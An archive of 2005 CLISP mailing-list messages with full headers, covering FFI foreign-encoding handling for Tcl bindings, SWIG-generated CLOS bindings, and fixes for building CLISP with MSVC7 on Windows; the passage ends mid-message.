List-Subscribe: , List-Archive: Date: Tue Jul 12 04:26:55 2005 X-Original-Date: Tue, 12 Jul 2005 13:25:13 +0200 Yaroslav Kavenchuk writes: > Pascal Bourguignon wrote: > > The easiest way is to set *FOREIGN-ENCODING* to charset:utf-8 > > > > (setf custom:*FOREIGN-ENCODING* charset:utf-8) > > > > so the FFI does it for you automatically. > > It is necessary save the current custom:*FOREIGN-ENCODING* and restore > after use? If you only had one FFI library, it would not be necessary. But indeed it's a good idea to do it "locally". Since it's a dynamic variable you don't need to save/restore, you can just mask it, in each function: (DEFUN get-string-result () "return the result for interp as an string" (let ((custom:*FOREIGN-ENCODING* charset:utf-8)) (FUNCALL Tcl_GetStringResult interp))) I would use a macro: (defmacro with-tcl-env (&body body) `(let ((custom:*FOREIGN-ENCODING* charset:utf-8)) ,@body)) (DEFUN get-string-result () "return the result for interp as an string" (with-tcl-env (FUNCALL Tcl_GetStringResult interp))) (DEFUN append-to-result (str) "append string to result for interp" (with-tcl-env (FUNCALL Tcl_AppendElement interp str))) ;; ... -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot. don't bother saving your artefacts. From urym@two-bytes.com Tue Jul 12 06:51:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsLAV-0001HF-Fn for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 06:51:27 -0700 Received: from spirit.hostcolor.us ([69.45.6.155]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.44) id 1DsLAU-0003po-Bh for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 06:51:27 -0700 Received: (qmail 23461 invoked by uid 89); 12 Jul 2005 13:51:24 -0000 Received: from 85-64-48-63.barak-online.net (HELO ?10.0.2.10?) (two-bytes@two-bytes.com@85.64.48.63) by 0 with SMTP; 12 Jul 2005 13:51:23 -0000 Message-ID: <42D3D9FF.10606@two-bytes.com> From: Ury Marshak User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on backup.hostcolor.us X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=10.0 tests=AWL,BAYES_50, RCVD_IN_SORBS_DUL autolearn=no version=3.0.3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 06:53:22 2005 X-Original-Date: Tue, 12 Jul 2005 16:55:59 +0200 Vasilis M.wrote: > I have use swig (csharp module) to produce ffi and c++ classes to clos What do you use to translate charp code to clos? Also I'd be very much interested to try the library you've mentioned. Thanks, Ury From sds@gnu.org Tue Jul 12 06:57:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsLG7-0001bF-Qz for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 06:57:15 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DsLFb-0005gx-6V for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 06:57:16 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6CDuWPB018469; Tue, 12 Jul 2005 09:56:32 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Mon, 11 Jul 2005 23:14:56 -0700") References: <42B1BFE6.3090502@x-ray.at> <42B304F1.5090600@ele.puc-rio.br> <42CCC5EC.6080703@gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 07:00:26 2005 X-Original-Date: Tue, 12 Jul 2005 09:55:55 -0400 > * Surendra Singhi [2005-07-11 23:14:56 -0700]: > >> https://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=351645 >> > So, far I have written an extension which is able to generate > semi-useful clisp code, the generated code must be checked and if > necessary edited by hand before it is used. Great! Please submit your code to the SWIG people, e.g., as an attachment to the above tracker item. We want your code to be in the official SWIG. > http://www.public.asu.edu/~sksinghi/swig-clisp.html 1. the bug tracker URL is not clickable. 2. you should use FFI:DEF-C-STRUCT instead of CL:DEFSTRUCT. -- Sam Steingold (http://www.podval.org/~sds) running w2k You think Oedipus had a problem -- Adam was Eve's mother. From sds@gnu.org Tue Jul 12 07:07:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsLQ9-00024V-PF for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 07:07:37 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DsLQ7-0000Jk-6U for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 07:07:37 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6CE79Pb020125; Tue, 12 Jul 2005 10:07:21 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17107.43161.331952.400286@thalassa.informatimago.com> (Pascal Bourguignon's message of "Tue, 12 Jul 2005 13:25:13 +0200") References: <17107.39121.618679.467614@thalassa.informatimago.com> <42D39D69.70904@jenty.by> <17107.43161.331952.400286@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: iconv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 07:10:07 2005 X-Original-Date: Tue, 12 Jul 2005 10:06:32 -0400 > * Pascal Bourguignon [2005-07-12 13:25:13 +0200]: > > (defmacro with-tcl-env (&body body) > `(let ((custom:*FOREIGN-ENCODING* charset:utf-8)) > ,@body)) except that custom:*FOREIGN-ENCODING* is a symbol macro so this code won't do what you want it to. you need something like (defmacro with-tcl-env (&body body) (let ((orig (gensym "ORIG-ENC"))) `(let ((,orig custom:*foreign-encoding*)) (unwind-protect (progn (setq custom:*foreign-encoding* charset:utf-8) ,@body) (setq custom:*foreign-encoding* ,orig))))) -- Sam Steingold (http://www.podval.org/~sds) running w2k Your mouse has moved - WinNT has to be restarted for this to take effect. From urym@two-bytes.com Tue Jul 12 07:14:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsLX7-0002Nj-BP for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 07:14:49 -0700 Received: from spirit.hostcolor.us ([69.45.6.155]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.44) id 1DsLX6-0003l6-UH for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 07:14:49 -0700 Received: (qmail 9138 invoked by uid 89); 12 Jul 2005 14:14:47 -0000 Received: from 85-64-48-63.barak-online.net (HELO ?10.0.2.10?) (two-bytes@two-bytes.com@85.64.48.63) by 0 with SMTP; 12 Jul 2005 14:14:46 -0000 Message-ID: <42D3DF7B.60109@two-bytes.com> From: Ury Marshak User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on backup.hostcolor.us X-Spam-Level: * X-Spam-Status: No, score=1.5 required=10.0 tests=AWL,BAYES_40, RCVD_IN_SORBS_DUL autolearn=no version=3.0.3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Troubles compiling on win32/msvc7 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 07:16:10 2005 X-Original-Date: Tue, 12 Jul 2005 17:19:23 +0200 While trying to compile the current CVS on Windows XP, using the MSVC 7 compiler, I had several problems: 1) The default installation directory of the compiler has spaces in the pathname - "C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7" so in the makefile.msvc7 in the "CPP = ..\utils\gcc-cccp\cccp ...." line the parameters like -I$(MSVCDIR)/include are seen as two separate parameters. Taking them in double quotes ("-I$(MSVCDIR)/include") seems to fix it 2) same makefile.msvc7, line 1237, the command sed -e '/^#line/.... my sed (coming from http://gnuwin32.sourceforge.net/) chokes on the single quotes. Shouldn't they be replaced by double quotes? 3) After all that the build process starts, but fails soon with the following output: sed -e s/@HAVE_LONG_64BIT@/0/g -e s/@HAVE_LONG_LONG_64BIT@/0/g < stdint_ .h > stdint.h copy ..\libcharset\include\libcharset.h libcharset.h 1 file(s) copied. ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 -Id:/work/cl isp/include -D_MSC_VER=1300 -D_INTEGRAL_MAX_BITS=64 -Id:/work/clisp/PlatformSDK/ include -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. spvw.c > spvw.i.c spvw_garcol.d:1361: #error "Unbekannter Wert von 'varobject_alignment'!" NMAKE : fatal error U1077: '..\utils\gcc-cccp\cccp' : return code '0x21' Stop. Thanks, Ury From sds@gnu.org Tue Jul 12 07:48:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsM3f-0004PX-CD for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 07:48:27 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DsM3e-00047B-0U for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 07:48:27 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6CEm7VS026666; Tue, 12 Jul 2005 10:48:11 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Ury Marshak Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42D3DF7B.60109@two-bytes.com> (Ury Marshak's message of "Tue, 12 Jul 2005 17:19:23 +0200") References: <42D3DF7B.60109@two-bytes.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Ury Marshak Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Troubles compiling on win32/msvc7 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 07:50:16 2005 X-Original-Date: Tue, 12 Jul 2005 10:47:30 -0400 > * Ury Marshak [2005-07-12 17:19:23 +0200]: > > While trying to compile the current CVS on Windows XP, using the > MSVC 7 compiler, I had several problems: > > 1) The default installation directory of the compiler has spaces in the > pathname - "C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7" > so in the makefile.msvc7 in the "CPP = ..\utils\gcc-cccp\cccp ...." line > the parameters like -I$(MSVCDIR)/include are seen as two separate > parameters. Taking them in double quotes ("-I$(MSVCDIR)/include") > seems to fix it please try to add MSVCDIR = "C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7" to Makefile. > 2) same makefile.msvc7, line 1237, the command sed -e '/^#line/.... > my sed (coming from http://gnuwin32.sourceforge.net/) chokes > on the single quotes. Shouldn't they be replaced by double quotes? does it work if you do? how about '/^#line/{n' -e 'ta' -e ':a' -e 's/^%% //' -e 'tb' -e 's/^.*\$\$//' -e ':b' -e '}' (suggested by Pascal). > 3) After all that the build process starts, but fails soon with the > following > output: > > sed -e s/@HAVE_LONG_64BIT@/0/g -e s/@HAVE_LONG_LONG_64BIT@/0/g < > stdint_ > .h > stdint.h > copy ..\libcharset\include\libcharset.h libcharset.h > 1 file(s) copied. > ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 > -Id:/work/cl > isp/include -D_MSC_VER=1300 -D_INTEGRAL_MAX_BITS=64 > -Id:/work/clisp/PlatformSDK/ > include -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. spvw.c > > spvw.i.c > > spvw_garcol.d:1361: #error "Unbekannter Wert von 'varobject_alignment'!" > NMAKE : fatal error U1077: '..\utils\gcc-cccp\cccp' : return code '0x21' > Stop. please try make lispbibl.h grep varobject_alignment lispbibl.h note that installing cygwin and building clisp with $ ./configure --with-mingw --build build-dir is much easier than messing with ms tools and it produces a native woe32 binary which does not rely on cygwin. -- Sam Steingold (http://www.podval.org/~sds) running w2k Only adults have difficulty with child-proof caps. From lvecsey@nyc.rr.com Tue Jul 12 08:07:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsMM7-0005WP-Me for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 08:07:31 -0700 Received: from ms-smtp-01-smtplb.rdc-nyc.rr.com ([24.29.109.5] helo=ms-smtp-01.rdc-nyc.rr.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DsMM6-0000kT-5B for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 08:07:31 -0700 Received: from simulation (cpe-68-175-122-198.nyc.res.rr.com [68.175.122.198]) by ms-smtp-01.rdc-nyc.rr.com (8.12.10/8.12.7) with SMTP id j6CF7PT3021179 for ; Tue, 12 Jul 2005 11:07:25 -0400 (EDT) Message-ID: <016401c586f3$69b01710$c67aaf44@simulation> From: "Lester Vecsey" To: References: <42D3DF7B.60109@two-bytes.com> Subject: Re: [clisp-list] Re: Troubles compiling on win32/msvc7 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 08:09:26 2005 X-Original-Date: Tue, 12 Jul 2005 11:07:25 -0400 ----- Original Message ----- From: "Sam Steingold" To: ; "Ury Marshak" Sent: Tuesday, July 12, 2005 10:47 AM Subject: [clisp-list] Re: Troubles compiling on win32/msvc7 > note that installing cygwin and building clisp with > $ ./configure --with-mingw --build build-dir > is much easier than messing with ms tools > and it produces a native woe32 binary which does not rely on cygwin. > That same command also runs well on the msys/mingw distribution available at mingw.org Another potentially convenient compiler set to support would be Dev CPP. That would just require the creation of a .dev file, i.e., equivalent of a Makefile Lester From sds@gnu.org Tue Jul 12 08:21:22 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsMZV-0006KN-PO for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 08:21:21 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DsMZV-0001EC-4v for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 08:21:21 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6CFLDic001997; Tue, 12 Jul 2005 11:21:13 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Lester Vecsey" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <016401c586f3$69b01710$c67aaf44@simulation> (Lester Vecsey's message of "Tue, 12 Jul 2005 11:07:25 -0400") References: <42D3DF7B.60109@two-bytes.com> <016401c586f3$69b01710$c67aaf44@simulation> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Lester Vecsey" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Dev CPP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 08:23:12 2005 X-Original-Date: Tue, 12 Jul 2005 11:20:36 -0400 > * Lester Vecsey [2005-07-12 11:07:25 -0400]: > > Another potentially convenient compiler set to support would be Dev > CPP. That would just require the creation of a .dev file, i.e., > equivalent of a Makefile do you mean this: ? this is based on mingw gcc, so, on one hand, it should not be too hard to support it, and, on the other hand, I don't see any benefit: their IDE will not grok CLISP sources ("# " comments &c) properly (and I am happy with Emacs anyway). on yet another hand (3rd), if you would like to work on CLISP using Dev-C++, you are more than welcome. -- Sam Steingold (http://www.podval.org/~sds) running w2k Sinners can repent, but stupid is forever. From vasilism@hotmail.com Tue Jul 12 08:56:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsN7U-0008Dj-Fb for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 08:56:28 -0700 Received: from bay7-f21.bay7.hotmail.com ([64.4.11.46] helo=hotmail.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DsN7R-0004gb-BJ for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 08:56:28 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 12 Jul 2005 08:56:19 -0700 Message-ID: Received: from 81.186.170.106 by by7fd.bay7.hotmail.msn.com with HTTP; Tue, 12 Jul 2005 15:56:18 GMT X-Originating-IP: [81.186.170.106] X-Originating-Email: [vasilism@hotmail.com] X-Sender: vasilism@hotmail.com In-Reply-To: <42D3D9FF.10606@two-bytes.com> From: "Vasilis M." To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 12 Jul 2005 15:56:19.0251 (UTC) FILETIME=[3E256030:01C586FA] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MSGID_FROM_MTA_HEADER Message-Id was added by a relay Subject: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 08:59:04 2005 X-Original-Date: Tue, 12 Jul 2005 15:56:18 +0000 Ury Marshak wrote: >What do you use to translate charp code to clos? With a declaration class Foo { public: Foo() { }; ~Foo() {}; int intvar = 10; void test(int i); void test(char c); void test(int i, char c); } c# module of swig produce a library with the following "extren C" functions void *CSharp_new_Foo(); void CSharp_delete_Foo(void *jarg1) void CSharp_set_Foo_intvar(void *jarg1, int jarg2) int CSharp_get_Foo_intvar(void *jarg1) void CSharp_Foo_test__SWIG_0(void *jarg1, int jarg2) void CSharp_Foo_test__SWIG_1(void *jarg1, char jarg2) void CSharp_Foo_test__SWIG_2(void *jarg1, int jarg2, char jarg3) Swig can dump the parse tree as lisp s-expretions and using this i produce the ffi bindings and the CLOS proxy classes Ury Marshak wrote: >Also I'd be very much interested to try the library you've mentioned. u can find it at http://www.sharemation.com/xythoswfs/webui/_xy-3202473_files _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ From urym@two-bytes.com Tue Jul 12 09:58:24 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DsO5P-0002yB-Ma for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 09:58:23 -0700 Received: from spirit.hostcolor.us ([69.45.6.155]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.44) id 1DsO5O-0001ZF-Ig for clisp-list@lists.sourceforge.net; Tue, 12 Jul 2005 09:58:23 -0700 Received: (qmail 19623 invoked by uid 89); 12 Jul 2005 16:58:21 -0000 Received: from 85-64-48-63.barak-online.net (HELO ?10.0.2.10?) (two-bytes@two-bytes.com@85.64.48.63) by 0 with SMTP; 12 Jul 2005 16:57:51 -0000 Message-ID: <42D405A4.2020000@two-bytes.com> From: Ury Marshak User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Troubles compiling on win32/msvc7 References: <42D3DF7B.60109@two-bytes.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on backup.hostcolor.us X-Spam-Level: * X-Spam-Status: No, score=1.8 required=10.0 tests=AWL,BAYES_50, RCVD_IN_SORBS_DUL autolearn=no version=3.0.3 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 12 10:00:20 2005 X-Original-Date: Tue, 12 Jul 2005 20:02:12 +0200 Sam Steingold wrote: > please try to add > >MSVCDIR = "C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7" >to Makefile. > > > With the double quotes around it works. >>2) same makefile.msvc7, line 1237, the command sed -e '/^#line/.... >>my sed (coming from http://gnuwin32.sourceforge.net/) chokes >>on the single quotes. Shouldn't they be replaced by double quotes? >> >> > >does it work if you do? >how about >'/^#line/{n' -e 'ta' -e ':a' -e 's/^%% //' -e 'tb' -e 's/^.*\$\$//' -e ':b' -e '}' >(suggested by Pascal). > > > The new line (suggested by Pascal) does not work for me, says: syntax error : illegal character '\' in macro Changing single quotes to double seems to work, although there is one more place to do the change at line 988 (for some reason it was giving an error here, but continuing the build process). This fix (on line 988) also seems to fix the varobject_alignment problem After that the make dies with: ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 -I"C:\Progra m Files\Microsoft Visual Studio .NET 2003\Vc7"/include -D_MSC_VER=1300 -D_INTEGR AL_MAX_BITS=64 -I"C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7"/Platfo rmSDK/include -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. encoding.c > encoding.i.c libcharset.h:22: localcharset.h: No such file or directory NMAKE : fatal error U1077: '..\utils\gcc-cccp\cccp' : return code '0x21' Stop. for a quick fix I've added the \libcharset\include directory in the makefile, which allowed it to continue successfully. But now that it's built, what's next - there's no "make install" or something along these lines? >note that installing cygwin and building clisp with >$ ./configure 